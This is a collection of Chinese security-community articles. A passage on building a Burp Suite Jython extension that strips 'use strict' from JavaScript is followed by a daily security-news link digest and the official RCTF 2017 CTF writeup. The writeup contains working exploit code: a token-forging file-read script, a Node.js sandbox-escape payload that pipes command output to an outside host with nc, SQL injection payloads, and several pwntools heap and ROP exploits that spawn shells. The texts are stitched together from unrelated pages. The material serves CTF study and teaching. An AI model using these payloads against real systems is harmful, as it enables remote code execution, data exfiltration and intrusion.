generate(a)//危险函数
所以用之前想到的hook方法hook住这个generate函数并找到与他同级或者上级的过滤函数这个是很必要的，那么我们要怎么找呢？
我们发现其实js在每个函数作用域下提供一个arguments的变量，而这个变量中的callee.caller则指向了上层函数，但是这里存在一个问题：当使用js内部作用域下使用'use
strict'或者"use strict"时，则会导致callee.caller
会触发异常（当然运气不好的话可能是null，为什么出现null是运气不好？因为没异常你也不知道怎么回事，网上解释说是顶层调用才会出现null，而且我第一时间也认为，出异常的话才会是use
strict的错（因为我在用油猴脚本hook执行的时候，他会在console.log中红字提示，去掉"use
strict"即可），所以忽略了这个问题，导致我和朋友查了一个半小时，最后看了控制台对null输出的解释才知道原来是use strict的原因）
所以回到我们的正题，思前想后为了过滤use strict标签，就想到了用bp来进行拦截修改，这时候就想到bp的插件：
然后通过乌云几篇留下的插件贴和burpsuite
官方上example后就差不多懂内容，关键难的是配置：python环境，因为需要jython，而新版的pycharm不兼容，eclipse也不兼容。
java环境打包runable jar 给bp执行
执行又告诉你缺包，但是拿jadx打开又看到里面已经都被打包进去了，整个过程让我暴躁的不行。（这个流程至少从昨天5点开始到夜里2点，至少6个小时在配置环境！！！！！！！，最后放弃了只能用jython的方式，唯一缺点就是没有语法联想）。
接下来来进入到正题：burpsuite的插件（jython版）
api可以在bp里找（这个api界面是我们要实时切换回来看的）
首先第一步配置环境：
在bp中将python Environment配置为jython的路径
第二部 创建一个入口类（继承，这里应该叫实现IBurpExtenderCallbacks接口）：
实现他的接口对应的接口：
实现IBurpExtender
也就是说加载把插件加载进去bp会通过反射来找对应实现了IBurpExtender接口的对象，然后new出实例对象，再调用实例对象的registerExtenderCallback，从而导致我们实现的registerExtenderCallback被触发（也可以直接把他想成是main函数）。
还有关键点就是IBurpExtenderCallbacks这个对象了，可以直接参考api：
_IBurpExtenderCallbacks_api_
由于篇幅较长，我们这里就简单得将该api中重点（与本篇内容有关的）的api讲解一下：
_getHelpers_
_getStdout_
*registerHttpListener
_getParameters_
_getHeaders_
(ps:这个api是根据下啦顺序来的，所以可能我们后面的顺序可能不是依赖这个来讲的。)
首先重申我们的需求-》访问网站的js-》bp自动将js中的'use strict'和"use strict"删去-》返回数据给页
所以再这个过程中我们肯定需要监听他的http请求的过程，所以要注册一个HTTP请求的监听事件（registerHttpListener,所以我们也理所应当需要一个IHttpLinstener的实现）
_IHttpListener_
最简单的方式就是同一个类进行实现
class Somebody(这个是我的hacker名...)Extender(IBurpExtender, IHttpListener):
因为继承（实现了IburpExtender和IHttpListener，所以需要对内部方法registerExtenderCallbacks和processHttpMessage进行实现）
def registerExtenderCallbacks(self, callbacks):
self._callbacks = callbacks
self._callbacks.egisterHttpListener(this)#注册监听
def processHttpMessage(self, toolFlag, messageIsRequest, messageInfo):
pass
processHttpMessage三个参数分别是:
toolFlag->来区分插件的一个标号 int
_messageIsRequest_ 是来区分触发该事件的是不是一个Request boolean
_messageInfo_ 则是数据的内容 他的类型是IHttpRequestResponse
接着我们又要去介绍我们的新朋友*IHttpRequestResponse
IHttpRequestResponse
他是一个容器，里面包含一个会话（session）相当于一个request<->response。
但是需要注意的是当触发httplistener的时候如果messageIsRequest==1的话，是仅仅在请求阶段-》那么自然也就get不到Response了。但是在Response阶段你不仅可以getResponse，还能getRequest（会话并不冲突）。
所以我们也可以得到：
def processHttpMessage(self, toolFlag, messageIsRequest, messageInfo):
if not messageIsRequest:#非Request时
接着我们需要的是“将js文件中的use
strict删除掉”，所以我们要知道请求的是一个js文件，这里我们要用到Request头部的信息，所以要用callbacks中的headers
他返回的是一个String数组，内容就是中的每一段（行）内容。
所以其实只要获取第一行判断内容是不是存在.js就行了
request_headers = self._callbacks.getHeaders(messageInfo.getRequest())
if ".js" in request_header[0]:
接着就是对函数内部的过滤了，上面提到了callbacks方法中getParameters函数，但其实这个函数并不是适合response，一开始我使用的时候很正常，后面发现他会将body中的内容=号去掉（这里你可能就理解了），并且他返回的是string[][]。所以其实他更像是request的方法（而且文档说了是给request使用的）（所以这里就淘汰他，我因为不知道这个规则，后面过滤完之后，发现内容js内容老是执行错误，看了下是少了很多等号，然后排查，才排查出是这个函数的问题）。
所以这里我们要怎么办呢？
这里要用到callbacks中的getHelpers方法他会返回一个IExtensionHelpers对象:
helper = self._callbacks.getHelpers()
这个对象篇幅也比较大，所以我就列举几个关键的函数：
IResponseInfo解析response的内容-》IResponseInfo对象
str->bytes,bytes->str，因为python可能涉及编码的问题，所以最好使用它的api
然后我们就可以通过analyzeResponse方法生成一个分析对象-》
response_info = helper.analyzeResponse(messageInfo.getResponse())
接着我们再看看这个生成的对象的接口：
然后其实就可以看到他有个我们需要的方法getBodyOffset：
他是获取我们body段位置的偏移，那我们怎么利用他呢？很简单
response_raw = messageInfo.getResponse()
response_body = response_raw[response_info.getBodyOffset():]#切片到最后
接着的内容就简单了无非是先将bytes转成string-> 切掉内部的use strict->转成bytes 设置回去
所以这里又用到我们的helper了：
return_js_content=helper.bytesToString(response_body).replace('\'use strict\'', '').replace('"use strict"', '')
还有重要的一点就是当body内容变了的时候在response的header里的Content-Length也要跟着变：
response_header = self._callbacks.getHeaders(messageInfo.getResponse())
header_content = ''
for header in response_headers:
if "Content-Length:" in header:
header_content = header_content + 'Content-Length: '+str(len(return_js_content)) +'\n'
else:
header_content = header_content + header + "\n"
最后一步（拼接传回）：
entire_response = header_content + '\n' +return_js_content
messageInfo.setResponse(entire_response)
回想起来忘了关键的一步其实需要将api中的包导出来和对应的py同级：
还有 关键我的代码比较乱，所以上面内容的代码是我重新打了一遍的。
导包也要导正确..因为我当时用的好像是一个example 所以也没有去掉很多没必要的包，还有就是因为我的pycharm
不兼容jython，所以也没办法正确知道导入啥。
最后测试一下结果：
如今去除use strict的效果
还有一点：
不排除js动态生成的use strict..后期可能还要想个能彻底解除的方法..
最后抱怨一句：
严格模式nmsl | 社区文章 |
# 【知识】5月31日 - 每日安全知识热点
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**热点概要： syscan360国际前瞻信息安全会议在美国西雅圖四季酒店召开、影子经纪人推出0day漏洞订阅服务 每月21000美元、Judy
Android 恶意病毒感染超过3650万谷歌Play商店用户、RFID Hacking with The Proxmark
3、sudo的get_process_ttyname()方法存在提权漏洞、Windows MsMpEng remotely exploitable UaF
due to design issue in GC engine、一键自动化域渗透工具、福特SYNC 1代 模块分析、TerraMaster NAS
TOS<=3.0.30 未经验证的远程root权限代码执行、从根本上突破UAC 、跨域爆破Github SAML 和 2FA recovery
codes、开始windows内核开发part 1 建立实验环境、Pivoting from blind SSRF to RCE with
HashiCorp
Consul、在OSX上监听单个应用HTTPS流量、心脏起搏器的安全性评测、突破Citrix和其他限制的桌面环境、Samba远程代码执行漏洞(CVE-2017-7494)-SambaCry分析报告**
**
**
**资讯类：**
* * *
syscan360国际前瞻信息安全会议在美国西雅圖四季酒店召开
<http://www.syscan360.org/>
影子经纪人推出0day漏洞订阅服务 每月21000美元
<http://thehackernews.com/2017/05/shadow-brokers-exploits.html>
Judy Android 恶意病毒感染超过3650万谷歌Play商店用户
<http://thehackernews.com/2017/05/android-adware-malware.html>
[](http://bobao.360.cn/ctf/activity/452.html)
[](http://www.securityweek.com/google-patches-nexus-6-secure-boot-bypass)
**技术类：**
* * *
****
****
****
****
[](http://motherboard.vice.com/read/the-worst-hacks-of-2016)
[](https://feicong.github.io/tags/macOS%E8%BD%AF%E4%BB%B6%E5%AE%89%E5%85%A8/)
[](https://github.com/GradiusX/HEVD-Python-Solutions/blob/master/Win10%20x64%20v1511/HEVD_arbitraryoverwrite.py)
RFID Hacking with The Proxmark 3
<https://blog.kchung.co/rfid-hacking-with-the-proxmark-3/>
proxmark3预编译固件集合
<https://github.com/exploitagency/github-proxmark3-standalone-lf-emulator>
sudo的get_process_ttyname()方法存在提权漏洞
<http://www.openwall.com/lists/oss-security/2017/05/30/16>
Windows MsMpEng remotely exploitable UaF due to design issue in GC engine
<https://bugs.chromium.org/p/project-zero/issues/detail?id=1258>
一键自动化域渗透工具
<https://byt3bl33d3r.github.io/automating-the-empire-with-the-death-star-getting-domain-admin-with-a-push-of-a-button.html>
福特SYNC 1代 模块分析
<https://jdgforensicblog.wordpress.com/2017/05/28/analysis-of-a-ford-sync-gen-1-module/>
TerraMaster NAS TOS 3.0.30以下版本(包含3.0.30) 未经验证的远程root权限代码执行
<https://www.evilsocket.net/2017/05/30/Terramaster-NAS-Unauthenticated-RCE-as-root/#.WS1gUW36cHI.reddit>
从根本上突破UAC
<https://gist.github.com/tyranid/9ffef5962a642d4a1bb8e4ee7e3bebc5>
跨域爆破Github SAML 和 2FA recovery codes
<http://blog.intothesymmetry.com/2017/05/cross-origin-brute-forcing-of-saml-and.html>
开始windows内核开发part 1 建立实验环境
<https://hshrzd.wordpress.com/2017/05/28/starting-with-windows-kernel-exploitation-part-1-setting-up-the-lab/>
Pivoting from blind SSRF to RCE with HashiCorp Consul
<http://www.kernelpicnic.net/2017/05/29/Pivoting-from-blind-SSRF-to-RCE-with-Hashicorp-Consul.html>
一本关于堆内存开发的书
<https://github.com/DhavalKapil/heap-exploitation>
在OSX上监听单个应用HTTPS流量
<https://calebfenton.github.io/2017/05/27/monitoring-https-of-a-single-app-on-osx/>
心脏起搏器的安全性评测
<https://drive.google.com/file/d/0B_GspGER4QQTYkJfaVlBeGVCSW8/view>
Dirty COW and why lying is bad even if you are the Linux kernel
<https://chao-tic.github.io/blog/2017/05/24/dirty-cow>
ARM装配基础介绍
<https://azeria-labs.com/writing-arm-assembly-part-1/>
突破Citrix和其他限制的桌面环境
<https://www.pentestpartners.com/security-blog/breaking-out-of-citrix-and-other-restricted-desktop-environments/?doing_wp_cron=1496192804.4728899002075195312500>
Samba远程代码执行漏洞(CVE-2017-7494)-SambaCry分析报告
<http://bobao.360.cn/learning/detail/3915.html> | 社区文章 |
# 【CTF 攻略】RCTF 2017 官方Writeup
##### 译文声明
本文是翻译文章，文章来源：xctf.org.cn
原文地址：<https://www.xctf.org.cn/information/e0d90ad9d0609320fd6743706135a80913d27b8d/>
译文仅供参考，具体内容表达以及含义原文为准。
****
**传送门**
[**RCTF
2017上演安全极客的速度与激情，国际黑马战队motesolo积分榜排名第一！**](http://bobao.360.cn/news/detail/4173.html)
**
**
**WEB**
**rBlog (13 solved)**
Category:WEB
曾经在一篇 writeup 发布后的第二天我修正了一处 typo ，但后来还是有朋友发截图来指出 typo ，我看了下 Feedly
上的订阅居然还是旧的内容。Google 搜索了一番我发现了[
**这个结果**](https://groups.google.com/forum/#!topic/feedly-cloud/3evZeYOnS2I)：
所以就有了这题 rBlog ……
从给出的源码中不难看出博客有 RSS 源，访问 /feed 会返回 static/atom.xml 的内容。 在添加文章时，传入的 markdown
格式的文本会被渲染成 HTML ，以文章的 id 作为文件名，被保存到 templates/posts/ 文件夹下，并且重新生成
atom.xml；在删除文章时，对应的 HTML 也会被删除，并且重新生成 atom.xml。
结合提示“There was a post on the blog containing the flag you want, but it has
been deleted before the CTF starts.”可以知道 flag 是不可能在博客上被找到的。（我本应该在题目描述中说明 flag
位置的，而不是在提示里x_x）但如果它在删除前被第三方服务缓存了呢？著名的 archive.org 需要主动请求——并不大可能；Google
快照可能是一个方式，但在线 RSS 订阅服务对于个人博客来说或许是最好的缓存。
在许多在线 RSS 订阅服务中，我选择了比较流行的的 Feedly。在 Feedly 中输入博客的 RSS 源地址，就可以得到 flag 了：
**rFile (6 solved)**
Category:WEB
rFile 是一个“反盗链”文件存储服务。通过分析 index.js 可知页面每 30 秒会请求 /api/download 来更新文件列表，api
返回的内容包括文件大小、文件名、修改时间，以及一个 token。下载文件时，会请求 /api/download/{token}/{filename}
。通过观察可以知道，每个文件每一分钟都会有一个不同的 token。
让我们试着将 sample.cpp 的下载请求中的文件名修改成一个存在的文件—— sample.c，会得到 “token
expired”的提示。这说明服务端是根据 {filename} 来提供文件，并且 {filename} 很有可能参与了 {token} 的生成。由于
token 是每一分钟更新一次，我们猜测时间戳也参与了 token 的生成。通过 fuzz 可以得出 token = md5(timestamp +
filename) 。
知道了 token 的生成方式，我们可以尝试通过读取文件，获得服务端的源代码。根据服务器发送的 HTTP 头中的
Server:gunicorn/19.7.1 ，我们猜测 rFile 有很大可能是 Python Web 应用。（后来也给出了 Hint 说明是
flask）
尝试读取当前目录中不存在的文件，会得到 “unknown error” ；尝试读取 ../__init__.py ，得到 “filetype not
allowed”。如果你熟悉 Python Web 应用（尤其是 Python3），你一定会知道 __pycache__/ 这个目录。当前文件夹的 .py
文件生成的 .pyc 都会被存在这个目录中，并且以 .cpython-35.pyc 为扩展名（其中的 35 与 CPython 版本有关）。
我的 exp.py (Python3):
from hashlib import md5
from time import time
from json import dumps, loads
from urllib.parse import quote, unquote
import requests
url = 'http://rfile.2017.teamrois.cn/'
ts = int(time()) - 50
buf = -1
while buf<100:
buf += 1
filename = '../__pycache__/__init__.cpython-35.pyc'
token = md5((str(ts+buf) + filename).encode('utf-8')).hexdigest()
r = requests.get(url + '/api/download/%s/%s' % (token, quote(filename)), headers={'X-Requested-With': 'XMLHttpRequest'})
print(r.content.decode('unicode_escape'))
if loads(r.content.decode('unicode_escape'))['code'] == 1:
r = requests.get(url + '/api/download/%s/%s' % (token, quote(filename)))
print(r.content)
break
读取 ../__pycache__/__init__.cpython-35.pyc ，然后使用 uncompyle6 反编译，得到 py 文件。然后我们发现
SECRET_KEY 是从同目录的 conf.py 中导入的。
flag 在 ../__pycache__/conf.cpython-35.pyc 中。
**rCDN (4 solved)**
Category:WEB
从首页我们可以看到 Basic 服务提供的是随机生成的 8 位字符的子域名，而 Pro 服务可以自定义短域名。在 /gopro 页面中也可以看到
“Short subdomain (3~6 chars) is only available for Pro account” 。添加一个 Basic
服务会发现只有销毁操作是可用的，虽然 Pro-only 的操作是禁止点击的状态，但它们的链接可以从 HTML 源码中看到。
提交 ticket 以请求技术支持是 Pro 用户一个与 rCDN 客服交流的方式。但 rCDN 没有把控好权限，以至于 Basic
用户也能访问这个链接，并且提交 ticket。通过测试可以知道，我们在 ticket 中填写的子域名必须是 <= 6 个字符的，否则会被认为是来自
Basic 的提交，返回“Only email support is available for Basic CDN
Service”。如果我们提交短域名，会得到“该子域名不存在”的回复——对于 Basic 用户来说，确实是这样。
那么我们应该怎样假装拥有短的子域名呢？答案是利用浏览器的 Unicode Normalization in Domain。试着用 Chrome
点击下面这两链接，它们将打开同一个页面：
https://b㏒.㎈c.cn https://blog.cal1.cn
或许你已经从字体发现了差异，在第一个链接中，“log” 被 “㏒” (u33D2) 替代，“cal” 被 “㎈” (u3388)
替代。关于这个技巧，推荐阅读 2014 年 @mramydnei 在 Wooyun drops
发表的文章[《短域名进化史》](http://cb.drops.wiki/drops/tips-2839.html)。利用该技巧，将已有的 Basic
的域名变短，提交 ticket 欺骗客服，就可以获得 flag 了。
**noxss (3 solved)**
Category:WEB
本题是 [**Cross-Origin CSS Attacks Revisited (feat.
UTF-16)**](http://blog.innerht.ml/cross-origin-css-attacks-revisited-feat-utf-16/) 的复现。强烈建议阅读原文。
利用 CSS 解析器强大的容错性，和 php <= 5.6.0 default_charset 默认为空的缺陷，从 phpinfo 中窃取 http-only 的 cookie。
由于 CSP 的限制，这里应使用 background: url() 向外部域名发出请求。
Content-Security-Policy: default-src *; img-src * data: blob:; frame-src 'self'; script-src 'self' unpkg.com; style-src 'self' unpkg.com fonts.googleapis.com; connect-src * wss:;
Commonjs
Category: WEB Score: 952
题目的环境是 Vue + SSR ( Server Side Render ) , 相关信息可以参照官方的示例 Hacknews
在官方示例中可以看到这么两个文件 src/api/create-api-client.js 、src/api/create-api-server.js
这两个文件是用来分别在服务端渲染及客户端渲染中对前端状态管理的 store 进行预填充，两个文件所需的接口是一样的，所以在题目中浏览器端可以看到起
src/api/create-api-client.js 作用的相关js代码
function warp (code) {
try {
const ret = eval(`(function (module, exports, require) { ${code} })`)
if (typeof ret !== 'function') {
throw new Error('type not valid')
}
return ret.toString()
} catch (e) {
return 'function (module, exports, require) { }'
}
}
这里 warp 的作用是讲普通的 js 代码封装为 commonjs 模块的代码，在进行客户端渲染的时候，使用的是浏览器的
eval，但是在进行服务端渲染的时候，使用的是 Node.js 中推荐拿来跑代码的 vm 库，两者用不同实现实现了两个一样的接口。
于是可以构造语句进行 RCE
// payload
"}, (() => { this.constructor.constructor('return process')().mainModule.require('child_process').execSync('ls . | nc xxx 3002') })(), {"
Login
Category:WEB Score:714
注册账号登录之后看到第一个提示，很明显这一道注入题。
No bruteforcing and scanning!
Flag is in database.
Flag is like RCTF{...}
看 HTML 源码发现前台有正则过滤，就用 BurpSuite 抓包直接测试。
很明显，注入点在 login 的 username。而且给了 报错信息。
盲测可以发现有只有一个36位的长度限制，其他输入内容都不过滤。所以我们的 payload 要小于 36 位就可以了。
既然有给报错信息，首先报错注入。使用 GTID_SUBSET() 函数查看 password 的信息。
payload: '+GTID_SUBSET(password,1)#
msg: Malformed GTID set specification 'HINT:flag_is_in_this_table_and_its_columns_is_QthD2GLz_but_not_the_first_record.'.
看下 QthD2GLz 字段的信息。
payload: '+GTID_SUBSET(QthD2GLz,1)#
msg: Malformed GTID set specification 'RCTF{this_is_error_flag}'.
既然不是第一条记录，那么就加个限制条件进行报错注入。从 id=1 开始报错，在 id=17 的时候得到结果。
payload: '+GTID_SUBSET(QthD2GLz,1)&&id=17#
msg: Malformed GTID set specification 'RCTF{S1mpl3_M_Err0r_Ba3eD_I}'.
得到flag: RCTF{S1mpl3_M_Err0r_Ba3eD_I}
**PWN**
**aiRcraft**
Category:PWN Score:606 典型的fastbin UAF，堆上预留了函数指针，利用fastbin attack 修改堆上的函数指针即可
from pwn import *
context.log_level = 'debug'
def NewPlane(p, company, name):
p.recvuntil('Your choice: ')
p.send('1n')
p.recvuntil('whcih company? n')
p.send(str(company) + 'n')
p.recvuntil("Input the plane's name: ")
p.send(name)
def SelectPlane(p, name):
p.recvuntil('Your choice: ')
p.send('4n')
p.recvuntil('Which plane do you want to choose? ')
p.send(name)
def Fly(p, airport):
p.recvuntil('Your choice: ')
p.send('1n')
p.recvuntil('which airport do you want to fly? ')
p.send(str(airport) + 'n')
def SellPlane(p):
p.recvuntil('Your choice: ')
p.send('2n')
def NewAirport(p, length, name):
p.recvuntil('Your choice: ')
p.send('2n')
p.recvuntil("How long is the airport's name? ")
p.send(str(length) + 'n')
p.recvuntil('Please input the name: ')
p.send(name)
def EnterAirport(p, idx):
p.recvuntil('Your choice: ')
p.send('3n')
p.recvuntil('choose? ')
p.send(str(idx) + 'n')
def ListPlane(p):
p.recvuntil('Your choice: ')
p.send('1n')
def SellAirport(p):
p.recvuntil('Your choice: ')
p.send('2n')
def Exit(p):
p.recvuntil('Your choice: ')
p.send('3n')
p = process('./aiRcraft')
NewPlane(p, 1, 'A' * 0x20)
NewPlane(p, 2, 'B' * 0x20)
NewAirport(p, 0x10, 'a' * 0x10)
SelectPlane(p, 'A' * 0x1f + 'x00')
Fly(p, 0)
Exit(p)
SelectPlane(p, 'B' * 0x1f + 'x00')
Fly(p, 0)
Exit(p)
SelectPlane(p, 'B' * 0x1f + 'x00')
SellPlane(p)
SelectPlane(p, 'A' * 0x1f + 'x00')
SellPlane(p)
EnterAirport(p, 0)
ListPlane(p)
p.recvuntil('Plane name: ')
heap_base = u64(p.recvn(6).ljust(8, 'x00')) - 0x50
log.info("heap base: " + hex(heap_base))
Exit(p)
payload = ''
payload += 'A' * 0x1f + 'x00'
payload += p64(heap_base + 0xa0)
payload += p64(heap_base + 0xb0)
NewAirport(p, 0x40, payload + 'n')
EnterAirport(p, 0)
ListPlane(p)
p.recvuntil('Build by ')
binary_base = u64(p.recvn(6).ljust(8, 'x00')) - 0xb7d
log.info("binary base " + hex(binary_base))
Exit(p)
payload = ''
payload += 'A' * 0x1f + 'x00'
payload += p64(binary_base + 0x201fb8)
payload += p64(heap_base + 0xb0)
NewAirport(p, 0x40, payload + 'n')
EnterAirport(p, 0)
ListPlane(p)
p.recvuntil('Plane name:')
p.recvuntil('Plane name:')
p.recvuntil('Build by ')
libc_base = u64(p.recvn(6).ljust(8, 'x00')) - 0x201c0
log.info("libc base " + hex(libc_base))
Exit(p)
NewPlane(p, 1, '/bin/sh'.ljust(0x10, 'x00') + p64(0x00) + p64(0x51))
NewPlane(p, 1, 'D' * 0x10 + p64(0x00) + p64(0x51))
NewPlane(p, 1, 'DOUBLEFREE1n')
NewPlane(p, 1, 'DOUBLEFREE2n')
NewAirport(p, 0x10, 'DOUBLEn')
SelectPlane(p, 'DOUBLEFREE1n')
Fly(p, 3)
SellPlane(p)
SelectPlane(p, 'DOUBLEFREE2n')
SellPlane(p)
EnterAirport(p, 3)
SellAirport(p)
fake_chunk = heap_base + 0x290
NewAirport(p, 0x40, p64(fake_chunk) + 'n')
NewAirport(p, 0x40, p64(fake_chunk) + 'n')
NewAirport(p, 0x40, p64(fake_chunk) + 'n')
payload = ''
payload += 'A' * 0x10
payload += p64(heap_base + 0xb0)
payload += p64(heap_base + 0x10)
payload += p64(libc_base + 0x3f460)
payload += p64(libc_base + 0x3f460)
NewAirport(p, 0x40, payload + 'n')
SelectPlane(p, '/bin/shn')
p.interactive()
**RCalc**
Category:PWN Score:350
栈溢出+手写canary保护，但是因为堆布局以及四则运算保存结果时没有边界限制，可以通过该漏洞修改canary来绕过栈保护，
因为输入用的scanf(%s)所以无法通过leak
.got.plt段来得到libc地址，但是__libc_start_main@got并不在.got.plt，且其地址没有会被截断的字符 可以用来leak
libc
from pwn import *
context.log_level = 'debug'
p = remote('127.0.0.1', 2333)
context.log_level = 'info'
puts_plt = 0x400850
read_got = 0x601FF0
rdi_ret = 0x0000000000401123
main_addr = 0x0000000000401036
payload = ''
payload += 'x00' * 0x110
payload += p64(0x010101010101)
payload += p64(rdi_ret)
payload += p64(read_got)
payload += p64(puts_plt)
payload += p64(main_addr)
p.recvuntil('Input your name pls: ')
p.send(payload + 'n')
for i in range(35):
p.recvuntil('Your choice:')
p.send('1n')
p.recvuntil('input 2 integer: ')
p.send('0n0n')
p.recvuntil('Save the result? ')
p.send('yes')
p.recvuntil('Your choice:')
p.send('5n')
libc_start_main_addr = u64(p.recvn(6).ljust(8, 'x00'))
log.info("__libc_start_main() addr: " + hex(libc_start_main_addr))
offset_libc_start_main = 0x0000000000020740
offset_system = 0x0000000000045390
offset_binsh = 0x18c177
libc_base = libc_start_main_addr - offset_libc_start_main
system_addr = libc_base + offset_system
binsh_addr = libc_base + offset_binsh
payload = ''
payload += 'x00' * 0x110
payload += p64(0x010101010101)
payload += p64(rdi_ret)
payload += p64(binsh_addr)
payload += p64(system_addr)
payload += p64(main_addr)
p.recvuntil('Input your name pls: ')
p.send(payload + 'n')
for i in range(35):
p.recvuntil('Your choice:')
p.send('1n')
p.recvuntil('input 2 integer: ')
p.send('0n0n')
p.recvuntil('Save the result? ')
p.send('yes')
p.recvuntil('Your choice:')
p.send('5n')
p.send('cat flagn')
p.interactive()
**Recho**
Category:PWN Score:370
明显的栈溢出，需要让read()返回0，则需要发送方关闭连接，这样导致ROP只能做一次且无法继续交互，程序中留了相关的gadget
可以用于修改GOT表中的函数入口为syscall以及"flag"字符串用于open()->read()->write()来读flag
from pwn import *
context.log_level = 'debug'
#p = process('./Recho')
p = remote('45.32.253.54', 9527)
elf = ELF('./Recho')
'''
0x00000000004006fc : pop rax ; ret
0x00000000004008a3 : pop rdi ; ret
0x00000000004006fe : pop rdx ; ret
0x00000000004008a1 : pop rsi ; pop r15 ; ret
0x000000000040070d : add byte ptr [rdi], al ; ret
'''
rax_ret = 0x4006fc
rdi_ret = 0x4008a3
rdx_ret = 0x4006fe
rsi_r15_ret = 0x4008a1
add_rdi_al_ret = 0x40070d
flag = 0x601058
alarm_got = elf.got['alarm']
read_plt = elf.plt['read']
write_plt = elf.plt['write']
alarm_plt = elf.plt['alarm']
payload = ''
payload += 'A' * 0x38
payload += p64(rax_ret)
payload += p64(0x05)
payload += p64(rdi_ret)
payload += p64(alarm_got)
payload += p64(add_rdi_al_ret)
payload += p64(rax_ret)
payload += p64(0x02)
payload += p64(rdi_ret)
payload += p64(flag)
payload += p64(rsi_r15_ret)
payload += p64(0x00) * 2
payload += p64(rdx_ret)
payload += p64(0x00)
payload += p64(alarm_plt)
payload += p64(rdi_ret)
payload += p64(0x03)
payload += p64(rsi_r15_ret)
payload += p64(0x601090)
payload += p64(0x00)
payload += p64(rdx_ret)
payload += p64(0x30)
payload += p64(read_plt)
payload += p64(rdi_ret)
payload += p64(0x01)
payload += p64(rsi_r15_ret)
payload += p64(0x601090)
payload += p64(0x00)
payload += p64(rdx_ret)
payload += p64(0x30)
payload += p64(write_plt)
#raw_input()
p.recvuntil('Welcome to Recho server!n')
p.send(str(0x200) + 'n')
p.send(payload.ljust(0x200, 'x00'))
p.recv()
p.shutdown("send")
p.interactive()
RNote
Category:PWN Score:454
**RNote**
Category:PWN Score:454
off-by-one漏洞，可以free堆上某个范围内的任意地址，可以用来做fastbin attack
from pwn import *
context.log_level = 'info'
def New(p, size, title, content):
p.recvuntil('Your choice: ')
p.send('1n')
p.recvuntil('Please input the note size: ')
p.send(str(size) + 'n')
p.recvuntil('Please input the title: ')
p.send(title)
p.recvuntil('Please input the content: ')
p.send(content)
def Delete(p, idx):
p.recvuntil('Your choice: ')
p.send('2n')
p.recvuntil('Which Note do you want to delete: ')
p.send(str(idx) + 'n')
def Show(p, idx):
p.recvuntil('Your choice: ')
p.send('3n')
p.recvuntil('Which Note do you want to show: ')
p.send(str(idx) + 'n')
p = process('./RNote')
New(p, 0x20, 'A' * 0x0f + 'n', '/bin/shx00n')
New(p, 0x20, 'B' * 0x0f + 'n', 'b' * 0x20)
New(p, 0x20, 'C' * 0x0f + 'n', 'c' * 0x20)
Delete(p, 2)
Delete(p, 1)
New(p, 0x20, 'B' * 0x0f + 'n', 'n')
Show(p, 1)
p.recvuntil('note content: ')
heap_base = u64(p.recvn(4).ljust(8, 'x00')) - 0x0a
log.info("heap base: " + hex(heap_base))
binsh_addr = heap_base + 0x10
New(p, 0x80, 'C' * 0x0f + 'n', 'c' * 0x80)
New(p, 0x30, 'D' * 0x10 + chr(0x80), 'd' * 0x30)
Delete(p, 2)
New(p, 0x80, 'C' * 0x0f + 'n', 'n')
Show(p, 2)
p.recvuntil('note content: ')
libc_base = u64(p.recvn(6).ljust(8, 'x00')) - 0x398b0a
log.info("libc base: " + hex(libc_base))
malloc_hook = libc_base + 0x398af0
payload = ''
payload += p64(0x00)
payload += p64(0x71)
payload += 'e' * 0x60
payload += p64(0x00)
payload += p64(0x71)
New(p, 0x100, 'E' * 0x0f + 'n', payload + 'n')
Delete(p, 4)
Delete(p, 3)
New(p, 0x100, 'E' * 0x0f + 'n', p64(0x00) + p64(0x71) + p64(malloc_hook - 0x23))
New(p, 0x60, 'F' * 0x0f + 'n', 'f' * 0x10 + 'n')
New(p, 0x60, 'G' * 0x0f + 'n', 'g' * 0x13 + p64(libc_base + 0x3f33a) + 'n')
p.interactive()
**RNote2**
Category:PWN Score:606
可以用realloc()拓展堆块，用stancat()来填拓展的内容，漏洞在于realloc()拓展出来的区域不会初始化，仍留有之前作为空闲chunk的头部信息，
这样strncat()就会从预想的位置再往后1~2个字节开始填充
from pwn import *
context.log_level = 'debug'
def New(p, length, content):
p.recvuntil('choice:')
p.send('1n')
p.recvuntil('length:')
p.send(str(length) + 'n')
p.recvuntil('content:')
p.send(content)
def Delete(p, idx):
p.recvuntil('choice:')
p.send('2n')
p.recvuntil('delete?')
p.send(str(idx) + 'n')
def List(p):
p.recvuntil('choice:')
p.send('3n')
def Edit(p, idx, content):
p.recvuntil('choice:')
p.send('4n')
p.recvuntil('edit?')
p.send(str(idx) + 'n')
p.recvuntil('content:')
p.send(content)
def Expend(p, idx, length, content):
p.recvuntil('choice:')
p.send('5n')
p.recvuntil('expand?')
p.send(str(idx) + 'n')
p.recvuntil('expand?')
p.send(str(length) + 'n')
p.recvuntil('expand')
p.send(content)
p = process('./RNote2')
New(p, 0xe0, 'A' * 0xe0)
New(p, 0x10, '/bin/shx00n')
Delete(p, 1)
New(p, 0xf0, 'C' * 0xf0)
New(p, 0xf0, 'D' * 0xf0)
New(p, 0xf0, 'E' * 0xf0)
Delete(p, 2)
New(p, 0x100, 'F' * 0x100)
Delete(p, 2)
New(p, 0x10, 'n')
List(p)
p.recvuntil('4.n')
p.recvuntil('content: ')
libc_base = u64(p.recv(6).ljust(8, 'x00')) - 0x398b0a
log.info('libc_base: ' + hex(libc_base))
realloc_hook = libc_base + 0x398ae8
system_addr = libc_base + 0x3f460
New(p, 0xc8, 'G' * 0xc8)
Expend(p, 5, 0x10, 'xf0' * 0x10)
New(p, 0x90, 'H' * 0x90)
New(p, 0x40, 'I' * 0x90)
Delete(p, 6)
Delete(p, 2)
payload = ''
payload += 'J' * 0xa0
payload += p64(0x00)
payload += p64(0x40)
payload += p64(0x00) * 2
payload += p64(realloc_hook)
New(p, 0xc8, payload)
Edit(p, 5, p64(system_addr) + 'n')
p.recvuntil('choice:')
p.send('9n')
p.recvuntil('choice:')
p.send('5n')
p.recvuntil('expand?')
p.send(str(1) + 'n')
p.recvuntil('expand?')
p.send(str(1) + 'n')
p.interactive()
**RE**
**baby_flash**
Category:RE
一个 C++ 编译到 Flash 的题目. 流程很简单, 就一个 'strcmp', 然而是自己写的并不是从 string.h 引入的. 这个 strcmp
会跳过第一个参数的一些字符, 所以找到的字符串并不是真正的 flag.
反编译 swf 文件推荐使用 JPEXS Free Flash Decompiler. 使用 FFDec 打开 swf 后, 翻到 MyCPP.check
即可看到主逻辑(在 com.adobe.flascc.Console 类中调用), 其中调用了 F_strcmp, 再找到 C_Run.F_strcmp
